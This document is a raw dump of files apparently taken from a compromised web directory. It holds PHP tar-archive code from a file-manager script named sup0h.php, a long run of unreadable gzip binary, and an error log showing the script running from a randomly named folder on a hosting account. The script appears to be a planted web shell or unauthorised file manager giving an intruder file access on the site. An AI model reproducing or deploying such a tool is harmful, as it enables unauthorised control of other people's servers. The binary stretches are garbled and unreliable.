for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PKQ3f[hCaasup0h.php.php.tar.gznu[ْȒ(v_PTL6JS\ڀ\8Fe#5TѲX<,_^^3>l9 -M!k@ʜ7Wα%x m ?u@ȣ! uxD[0*ƣ0W/ʰANpv Wp 7ㆩpc4oJ~iR`_VUu4 `zNcx)^4{՜0413ԕ^rP"$',^GS[Pu L /)^G׀EsG1Lz7$҈ZER*~ɑ;|%w9YCE }wT|xP<9E.'/9Ne蟱YϝӦb]/\k>;!|b")rn|?ej c_9Yv3>x DHK`iu,HXpą"B Mr/bUN@.p1ht<`,c-]w8KrP*T$vQ"RPȸ6W|3}ƒ4 0r.bN&y筗L>J&R¹iEE IrP"bt[,^1&'Ҁgc\b )t+,ˋi5y8)WdG]uZ] kD+L+g%?D¤5a`0+?v`׀M`ApЀ 4`/RXv`K+0p[KV]Ӣd6JV56l@Ru8-?NnS6 eQ=9NS1q3 5v!қ"~7ބӛteEj7s RDzjY{J{xGYy- eHB[4b3KnD fgS*<aZ)(E%~KK `8E-p_EhqB+,3vp8!Bkoa&Վ'im/hi/JB9F]z-/w)59THv6mx#ըpccs*t-fPi.M>2.MS3Hڢgl]Ĩ0M5r)USϔYoUe8MC4X;L:P/6w f0[%-h.;o~9v=m Z^N R뱼% ,/PNlØ;^q@@a,L4 EiS$HOFA"6H i :T" 5n$.@I=lg0S5&/罐jgS㴵z{T}ZӇ;y V\rd GQN'+I4 U$@QEˆvE>&`Ի S)eҿ٪(Oͺp794x~;py^~Dknn{XݍH_C5D4>mYܺ懟d:·b|OuMd 4֤q PY X>h13ۜkh&Ʉ]7F2@{$S LDٍ=uٺ EɀޒYjAՔݘP.A=Ҽg|`g-xcc:}%NS"J 1ƜFiDSbט^ךt{I>Sv8nL#L~t|B5s&IhX7H>!m=?{Lrs=B[e,+ZEt 8:kK:?@c0.@sHtzɩ{9oQK>=)% cbmc:gNzX4]7.Tt0 ^ʣ 0ؤqH0hS:Ywes!%;5>hWiiOI.KfzpL%G cR[#"<O<+w^ho+ʻƷw7ǎ[Ȓ*#= @ՑW KŒ9D"T5GL@$vO8/:o4[u_aĢ`H['iI*r%((7mOoȦ`H4C"?u;!I̓ڜitQꚌ_R~ Js\'I\PLZ/#դfA'/`CmTkL1䞋V:lQm,UKr #<0LR[0LQ\*;~d,DGw|$P5ZLҪtRvr;T$2hGd2#s3~H31M b6/=b8гKi̝Hm;(ң1\Y '3bH˄=m^j/ LOJ+談EPֳXE ?]?)m7Ұ9gw<7:u!"GH]un= ꧋Z$0LNXNYʈpt FetLC+C"ꤊ:_W( hNl#DciD t['R/iү>NŽI.q`N;u5bPZq}rb$C1H㴠@ߟqQ7܏Ή GKZ3,{߮A`lԜsHxaHh4si P# Ppdc cirC{Gv^m<,Hd}@#87_+ˁ6N'KirG+t_*LSi=5UϤW.-xHFV;Jbe-E(qҨ<;%ՙ̢?Z<(6mhp(-COϹ`6Ze`^hmꪳq1 W(/m`k"Df5o.(SvwC|՜aan kC7^JGt*RCE_nS=On[^DDecqYxj)4.X`@7p",G ̞lkS?"C]MFX1ŲV?8 =uR%ߎ(8z;ra~\a=PqҔzS1g-(۲a8ZyƃdJ fG zFmY sC]==N+apV.Q~AÓgNG%Wca9aii]6=v$}Zi)*O*!sc.$.AwXfPKVKO~;F[FR}2]xe3IUAMxl醸FᭆLbxdPֹThtta~7lbU\o'_zֳVUK&.)mY.n]nٜstzaRv.9I_Єzm;fe%y-i_{c3}XӸo]N> Fqϱΐtѭ#dCWgJ: _r+44sY)p4Qn9. 6yj_ux7_ g'JBd}%x]/1]@ *ߧ<f_}N~,3 I'_/;K#m׽3g@0wAƽUE[ߏ 3 0UPY0`!J༂h yA!~f&G7>y@p!j2XeD+ x@*=[WT9Ilo fg@GR/{OCO1EWD?5.Oob5IxBG M Ֆ"r</, ;G/T1*1qi̴6G/덁פ5+@6a 5J7ALkT1q0p)=9t`z}`!lkVi=c.:} ''}4Y j`BHZH'C;VC1ۅ@8g&l%gL)9dD̑&i'*-u˞R-n*Fu?3GD`A*~0:q4Qҋ\$d%xcsZ0 e:Ҹra >Ybg`y<8m欔`+ٽ0Hf~Kb-8M[ޥ u3SbCYocfL.lFW!19it9c4B9 u>#F%s,1M{ (gJOx+b*yBAqșPO+$˕\_nt5n{̇#S_ ^0 Qcaj<7_D8e%km|w0CF`w0ԥ/ #mCyn!tuE)rp s^h 3a}r1I9Aht *>0` ~G%+r LasY}]fD:X:$q5ٕZ қS跖'@͏;XnPߢ-s(҅f8c֒͆c_beaT%tZd֒2Gu G m8;$"iA:ar/)Tzur&7x+m%ڙcB4-hu]]6cboqwc l_-GoٴE{\ ڊzNVCKUa-$X2I41T3UzխF0b %kN6(15^&L?p` -b-c$[BH젞=[3!=)ˎكҞM2 !ӈi @Ѡ$Ɋ\0jrh~2KYl>FL4dgZփ wˮwHZFxAq3Dp,KM "bz/;Hqe$VGF?4"(<w츸 r3/@4.Mf / GC'/1'<'ƣ8?f"~~ rߑ4w :In蔡4c 5 |dmF\!t Ʋf/.U_pM]D~r}ۯq/m% KlW42D)/lz\? N?a({c`ӳ,|1yДtRtLySBKVSXb$'ڱ3qaxߌ oߍo}<$\ 6'Hp7[r6B:GvSE%Ɨ۩ 3d-N`o8HE68XP8jsP`NΊz߮g?kzf~IeL L3mDTT{| _9_y0{f~=V4I? ̦}pxa4Z4xh6 b֢EX6cEB y\NW Qş8  ;F._Ì@ݎEnSA}#qYҴ~MLgF^+B"h^72L:L %:ǜe0~qXU[an5qX!W;~׽؍ygSpol=sȃPjlWŇ~/v*0NEk, mfXH9mӞcFfoUMyDy=5v&BZə|'fr)ϋ\:V Ϡ*ϵ5#a;NeRn3[iTzULvo|}]/JT.%m>S*E5|婜IeS&?[vU_T/K ykZST.K [@yEJB g|JKR3hQ遘uR\m{ST~Ķm*X4H2Rc'/ʙP)[ͥTjBL1^Sf-a<\s dx1(z2.=a0?v`8]S뭴Zt%N-L#xLZ W5V`VkQ%^`Bo]De yX{3CANrZcWE16iϓd4}X)*q<\w:/K ФvYE&1kqճ}Z=uMGm-݇V*RRlhR dDYOJa=zeURCQʤKJ:]`[BJOΰIEndZ4,IgP8 R#46\jTyJ7" ggm]N3tOg>5i 8&E9\iT1}ҍFqnTړ][^Na\L '4+`f_;Xط[vɮI 7 dS?w 9ޕ7RjmPUpR qO=>n^P NdD+},'(6K^ܳmI9ir#qkD!SFce;N}ʭ ެrVy Z712jǂi=suWʹ<%_XӇE1e_|K|+O}Ւ}L V)mujN%1Wm#>;\kkAYIp SM,m=^LLvftVa1yjӇ؈TDٯn M2vT*BjPJ?wrxPUNg҄e<(e:JW<;EY$yVu-jGOv_Vj˃@]>Dlo^+O["&jmzL𩯆&jVV~`z=*.XR= j"CMݟ‘&T*P6%,D{Vywvj=4KZc+q<"` HI=e93zj ↥_"DW\=ZnKhOR"hG1BgK@톢KO v;Oka:ZA>+z3pXrq9)ڽڬ Op0T 㤷@◕rl ׋.z:pJ`9,]P~lZ0yYVBp]<ӎr^~N8P::l,cbu*֗NS`WϽ^k`pKHmmZ Vؖ!+uԝy>幇v/wܲ<-e?*NֶHViq\ljF2G(V(saiUyՌ=|תj72yymFÊ/bV^9wg׍}G.V+Ng}5;yYu1;A=R)Ć^[+FbY-~)˝ԭr GnǏRxΗnz`i괢cſe҉r9Jtu2n~oO` L zUAj|oQRA>290 fxǦmrnQ~ V{.•hώ] $σrd\)UֱI*[+ >7~JQzڭNlXţjTjT^s"`BƚcD97l@VhWvO㼆0Nu,mjlj֓V(Q\SɄ=lZ}#xRx*A)9ŧTgz.>Y,XC}U/V#YcjbلGI'v-2.ͮfٸڬhO9{|~9^g5Q M#J-\Wߩb) ͉=G/f 4Uw$TnCzGBvKl~,ǝX[7TbEEw3Y.‰q$=R"ָj&+gdA{lFyt]=e no]on~uoG;A+)v jwZlwNuV=-$'BϣSK{5q1R[%:T%X"H.V'nQ6i v"WD^5THII4©\;c8pegZ6A!7v&ť\T+E y&Z.3Si11Uz\+4o/YZS(osDM㧎q`HÄ͇Cp"<"x\H/rC_-BotwnxivꕂGuyW*xyl%).ǨT¬Tq1źZCCd* zh26EyzH=h[ڏ}诶9J@dQ̎tDL2fN廩}!狝<ܗ#Graݳ'>J 'ӾdC)yN>aqEm*?/:1>Ag>rN".UUad=@( 'H1Ճ܋! GA J{[UA~VzH[FRge:*B8(B(Sl(FSҡNsQLWv l}kDeG3[Pw^??Ƭ`lcJ_fC\e bW=ʓetx4mDy>EĮ뛐t" F8H*5=Oi.>nֳ:Ń P"l&P.=*ԗRոzh*RuYxyf-<)G}">ć?b()eX~أDAO\ee94 vn`\pl<5"AA$ *Pn=(jʴRt&ҝ@Ikf@Z"[|lNNstDX6ӜWR$)W*̞X&X`+@L4YG/466gC5`~߯BB7ӏ ;bۈ X+ۥ|e(uZ]?=턅AIM+ru;?L&cO/U$R&\/!{*J>eПz&i+Mp|Zpl>y/i1 gHNLh3L ֭@W! %P/frΔ94zj JB*4k B 5-aYC\a ~?xX׳.V6u%-!H+Y^:ȩҁib}!Q1_K5۝jŤaGǨC%O޵vē6/wnlޱxQh_ d3=pX9Vڙo8UꞐU[I 8{~qf=WJB^WYU2!J^p}L^Eut|ZN?tM.]~/Hh;5)r9W]O[Rs4V#>|BrtBPD["J)Iqn1hBB ;N=F 1Z ]A"0z`0PgÈ Paf݅:!sOCGAp$[SPG5wL ֯YY< ^N ھ%PRjkQPp;4C>pcA -7[VK.{2x\t_[%ɝjKTJFmܹ򮠆f Kzo=4CnYJcRSqO߳qF ]J~<3[P /<m(YQD߉YF|ѲLYA$v y. ۏEPއQ4WYuKhא5v1l^H]WNIz$.z}3/e{p+X;t{mIǺ)E|*}{kJTWFM.Oߐߖ)G=eAo l#鞡 2j idP P#hg,KQl2E5adw}qʛ /?;=nf1ӽC47xp! X%͚*ţ SҢf2eŠ?al'[e nºpCuC{ACfCN*4ZSqs×7,+إ-H8ZQ 5 BF09$ڈk,\hЃ=%5k]2>rM>5msɖ&L4ATS Gǔ X HIlP!""dao'/qg#f8qu ˼:i H|M\ %)w`" {7jǍXKdCcJ 46n'A^*- uNn$'/z>B+\!S7X9}э{RTs,̀/Ώw tm(k l4=%|z4N" ʓnE[i2=z, c8$J*fWeO^+L<4| Gb0A9<.(_ P,`?I^w!tlN_YѮ#LK#`|;^Ͻ hH'q3ց9`'-8jw2C^pTJ㝞$'C 9d%<̀Mxtoӧ3KՍk yY6p0Abɐ8!Bup\0Bl!̱0c.JFX߉d6@HI$Rh a@*38ǩrYր&wa^rhIhcP@^^!cW,Zn@ 0[0B:H/Wx2ߊ5p5hqdƟ2N5ig׮sڈƏO{C`qhȗ(hD|10s=:147;tAt9쥹 G9Cp:ٞ|c>ƑL%cY̨߰I8z|M4Ux_Ϥ~D"S{ x/rN3FѸ{pqhSo| 6s:pk_q}d29U$$!xcP%"[]:BK~:K>ewvȀ | P˗SnT[ؓ*ck~"+L_dٸjrw+ !r9/bکsJE< 0:仓#zr~eSәig\lb}3H:{ao bNY[g:=^&(˂^Daa|zTmTQG8qYZւ8+"OO)ö]ڬ@l*!sL2 AiM g|#_#zCʁJ^vW$c~r~DAq=N>n~M|i/w8MW|vBu}6&wO:\Lu,8i p)"X4;#Z_Z ,k~o,hX*m0_ʃҗ{mئ_% OhН:LpՌ=ի_d 7ϲX\" 2-2o\[;(pΗF.~D>sx7JNoReV IzvuY6Jܛ,y1ǒ9ZЦI. faKm鲺Ɲ= E%F{k6;5NL߫*ac .{b} KG#)0A{ +NCh9 sJX"oBhDŽyn?l>e>ހC8mė>)ihk'7NԊn~rP\NZdH #[{vЭZW#pe?%k;J?IŧMza6!1o׵+9ۚݦ F^ ZߙGO%uҼ<屣iy."W)pB' M_gzY{ F8o?dkQa@ Jbnتq_ I|iB;F~̐{ |g,[Tc_ѿT~4>㿳3>^8rH :"qK<[Ȓ7?, yA|V}d9^([ 4B}呖qqr/Fu͵h_J9ާ`N/2Dk|^gy|q/2tNjlWY>B!;UkCN#H OjxzvK&V_ Vv@I˨XcQOoW۬=.>'C5<8OSyb)8Q,wfa9>LCJߛu gq`ePh5%w|Li:C3/R#mQ&,50!U"N|C2dG3O&s|qR 5Ö%3DA⋩0.RS_$c_aH"9L/ inua0`^0@;^'$>mONa Vm8AoBAVFևeQEBLQj.~q.zV DBM~/4d<" ç}5U&dNxQUxn'4bw Hڳ?"Ge~t.Z90/ br#:;>CR8-4s `l-)KJ2Bjl'aCdZ{[| k/EK,@]MvE!~}7Z20C!"JG>$ +䗓n=7('?&DjXwk%NLNH`DsUwc|Gߟ8FKY|$V_o0-?=cS{s[uFz%^t[pE;M@U' pu9z7p+ܪ /}Agy}1fÇSоxhҺAp<>,[=筮%j  id҇PAk$umpt;IEeʠ,u%>pӯ+ H #dsCT~TkFt{}n0TŅ$/W7G0 . p{yAypw }~P^"0GfCdh;1=]e!\yƙ{f$DT(`8!buw ҃w̐GǏLݹ.KM SD + ₇)J6o@"3m0A7NIPd(I@P-?jqE֓FRHOIAVH i! I27rOQY#DA`@((sϬ(A%dZQRZC~y3qE/㯤  HQB(&gW$WO6Z$)T!йO0U1lɘ/fϥrY %׊}KBA2(rҁPUS~7X"Qv[y<DG~50 7n}ېOV&l6r#GR6:ps- rLGsҕ@v4 R*cI?4 $e ++(Hҡb ul3}b-D-7 mQN%qMX_CmjmL[2hNcdu0[$$O>& 5!R2_>~A8Ҩ'Kirfb$"Z$>(~A:odftF2nS/rɇ̈gK cN\3%n#L8MV|55A#tg\f!r]ur<59Aڼǒ%31}0{ >Ŷߔ͗@ecgj/ڝ+ԩKuWf/!:zg tDS8su0HLwA|4{gfFF# v"x֐"/K*dn}PÅ ?a{C}6[޺:q+8n-RwlHȪ-QP  # epXQ:H~A(4#:|:2'n.t]L`^Ovq1~ʩzVA 3f仙kR 2F, ?@["Gv3:6n}66pgyƠfu2oGt{3̼X:ݺm: " ;ej\nL '4 s&rm"@++ t"HjATtq_D M{~i}{7|=XǼ uY(e"/EL Gc\ST Zrù!X%iL-t8 x.KmKwj;{g; &zcR=//s-naK3d۪ό.T,rMzgSvuZչfSS<`ߤ\ϲL= <-1\]TPG/^{e9urcja^fG׫^:-۪uWm_0݃*YdOZ34xiN_&>Nc0K/c.Ǔ0/ؗ` d3zN9,ɿ- ƊMN]+"E4rU#c%--%qY~:ya;w읦kӶά7 Cd|,n*XJdָepZt J7 /[t:bwWnKKaƻ4nI@F#Wmg"xnݓHǤmPXj$#mi|-|fIJPqQ_ |'W޷SǍ|?Qi.j֔meH4H{YvXϥnQs'l&\&+ؗ먎(KK=~`l%L 9psn0cs^rku=Yأo͘[.y]״/#M7.XiA }PH_|VdXn13QX+(0Xb]R@=ZXkstRffR(=77zW.3.ST'a]mҐ` %= \@w7?nr9},u͟ Cm˝F {1A}0Pɝsv7BoEfNY0EnB ܿ MQF”Y[atb&(ʲb'.XH2a>2MA̠姄3Ʃ.|KA)0c9u$~OԢ2Z=5-X<~τ{) HңEFkY؀bIbMeWEHr\ھ X =텾 ;J.潃F$,K  NضQs=WP}6mxnz X8Ӟ!6(_s}U~ @z1H7ikF'tG2GmL[g8wi^_=JƸ@;KSon^MV}sE^]Ye4Yn`ů wPrώ2ه2@IT: Խ7_YjCT=F+/cNJq_8\h/]; LjF0PJLJgP﷦V~B)u&?ߨo;`Pre*U$ΫݽgP׷<3' B$rAD\2Vno 3x{!33`=H`{!aY,Y GC4~A-eĶXn"KE@@ h]B.衱2wV Mտ*2Lk|eE @Ѕ&A^:ޙ-Ơu6[ 6nǔ¢3 p ,\mv[NjV 07z0K7WH}(|]n0 ?QBJ~gxDO,$Gp.75ԧ1gu:=NsDŽq؛w *"ѿ*dCPsL^U063'[{@={-'/p\zXZS 62۔3Bext^ [v-я{iC%,l.M }_.;zرп)lbFbPWsVzpS >,u;Y:|s{K"8ZϣU8xz;H->@D8r܇SwDڀ/n|3$:aA{M :1td\, 28~_TjrXKEf0>hqC]Hw5n8gt7h% {5Xª]]2߭zN7`F!}N &'u*koHd˶a'͍m=Zyz-vwg30_afkCkyw뼶oY! p h[wh1}{b(O?&R<PKQ3f[|̣ error_lognu[[05-Nov-2025 19:41:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 02:36:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 04:26:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 05:38:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 06:10:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 06:10:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 06:10:43 UTC] PHP Notice: Undefined variable: ext in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 1115 [06-Nov-2025 06:32:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 07:09:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 07:09:16 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php:1115 Stack trace: #0 /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php(1115): PharData->compress(4096, 'php.tar.gz') #1 {main} thrown in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 1115 [06-Nov-2025 08:46:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 08:46:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 10:27:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 10:56:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 10:56:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 [06-Nov-2025 10:57:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 PKQ3f[.5<< sup0h.php.tarnu[home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php000064400000232747151030446340016665 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, 